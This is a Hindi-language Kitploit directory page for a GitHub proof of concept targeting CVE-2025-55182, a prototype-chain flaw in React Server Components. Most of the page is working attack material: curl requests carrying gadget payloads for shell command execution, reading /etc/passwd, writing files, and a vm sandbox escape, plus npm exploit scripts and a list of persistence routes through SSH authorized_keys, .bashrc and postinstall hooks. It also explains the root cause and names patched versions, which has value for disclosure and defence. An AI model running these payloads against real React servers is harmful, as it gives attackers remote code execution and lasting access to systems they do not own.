Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182-poc | Kitploit
उपकरण/GitHubGitHub/ducducuc111/cve-2025-55182-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubducducuc111/cve-2025-55182-poc

CVE-2025-55182-poc

रिपॉजिटरी देखें
8 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182 - React Server Components प्रोटोटाइप श्रृंखला भेद्यता

यह POC वास्तविक [email protected] भेद्य कोड का उपयोग करके CVE-2025-55182 प्रदर्शित करता है।

त्वरित आरंभ

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

अपेक्षित आउटपुट

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM स्क्रिप्ट्स

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)

# Exploits
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)

व्यक्तिगत गैजेट्स का परीक्षण करें

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

मुख्य फ़ाइलें

सर्वर

फ़ाइलपोर्टविवरण
src/server-realistic.js3002मुख्य सर्वर - सामान्य मॉड्यूल (fs, vm, child_process) के साथ वेबपैक बंडल का अनुकरण करता है
src/server.js3002लीगेसी सर्वर (प्रत्यक्ष require का उपयोग करता है)

एक्सप्लॉइट स्क्रिप्ट्स

फ़ाइलविवरण
exploit-rce-v4.jsप्राथमिक RCE vm#runInThisContext के माध्यम से
exploit-all-gadgets.jsसभी RCE गैजेट्स का परीक्षण करता है (vm, child_process, fs)

server-realistic.js कैसे काम करता है

यह एक वास्तविक वेबपैक बंडल का अनुकरण करता है जहाँ ऐप्स आमतौर पर निर्भरताओं के माध्यम से खतरनाक मॉड्यूल बंडल करते हैं:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

__webpack_require__ फ़ंक्शन केवल BUNDLED_MODULES से मॉड्यूल लोड करता है, जो वास्तविक वेबपैक व्यवहार का अनुकरण करता है।

भेद्यता

मूल कारण

requireModule() में, एक्सपोर्ट्स को hasOwnProperty जाँच के बिना ब्रैकेट नोटेशन के माध्यम से एक्सेस किया जाता है:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

हमला वेक्टर

  1. बाउंड एक्शन मेटाडेटा के साथ $ACTION_REF_0 भेजें
  2. id: 'vm#runInThisContext' vm मॉड्यूल लोड करता है, runInThisContext एक्सपोर्ट तक पहुँचता है
  3. bound ऐरे फ़ंक्शन के तर्क बन जाता है
  4. जब एक्शन कॉल किया जाता है: runInThisContext(CODE) मनमाना कोड निष्पादित करता है

सभी सत्यापित RCE गैजेट्स

गैजेट पेलोड उदाहरण

शेल कमांड निष्पादित करें (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

संवेदनशील फ़ाइलें पढ़ें:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

डिस्क पर फ़ाइलें लिखें:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

मनमाना JavaScript निष्पादित करें:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

सैंडबॉक्स एस्केप (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

वैकल्पिक हमले के रास्ते

क्या आपको vm या child_process की आवश्यकता है?

प्रत्यक्ष RCE के लिए: हाँ, आपको इनमें से एक चाहिए:

  • vm मॉड्यूल (runInThisContext, runInNewContext)
  • child_process मॉड्यूल (execSync, execFileSync, spawnSync)

अप्रत्यक्ष RCE के लिए (केवल fs): नहीं! केवल fs के साथ आप यह कर सकते हैं:

  • ~/.ssh/authorized_keys में लिखें → SSH पहुँच
  • ~/.bashrc में जोड़ें → अगले लॉगिन पर कोड निष्पादन
  • node_modules/* को अधिलेखित करें → ऐप पुनरारंभ पर RCE
  • package.json postinstall संशोधित करें → अगले npm install पर RCE

तुलना परिणाम

संस्करणहमलापरिणाम
React 19.0.0vm#runInThisContext✓ RCE प्राप्त हुआ
React 19.2.1vm#runInThisContext✗ अवरुद्ध

पैच किए गए संस्करण का परीक्षण

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

भेद्य npm पैकेज

लोकप्रिय npm पैकेजों पर शोध के लिए VULNERABLE-PACKAGES.md देखें जिनमें खतरनाक मॉड्यूल शामिल हैं:

मॉड्यूलसाप्ताहिक डाउनलोडलोकप्रिय पैकेज
fs145M+fs-extra, gray-matter, multer, sharp

प्रभावित संस्करण

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

सुधारित संस्करण

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
टूल डाउनलोड करें
exploit-persistence.jsपर्सिस्टेंस अटैक (SSH कुंजियाँ, .bashrc)
गैजेटस्थितिविवरण
vm#runInThisContext✓वर्तमान संदर्भ में मनमाना JS निष्पादित करें
vm#runInNewContext✓सैंडबॉक्स में निष्पादित करें (आसानी से बच निकला जा सकता है)
child_process#execSync✓सीधे शेल कमांड निष्पादन
child_process#execFileSync✓बाइनरी फ़ाइलें निष्पादित करें
child_process#spawnSync✓प्रोसेस स्पॉन करें (ऑब्जेक्ट लौटाता है)
fs#readFileSync✓मनमानी फ़ाइलें पढ़ें
fs#writeFileSync✓मनमानी फ़ाइलें लिखें
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2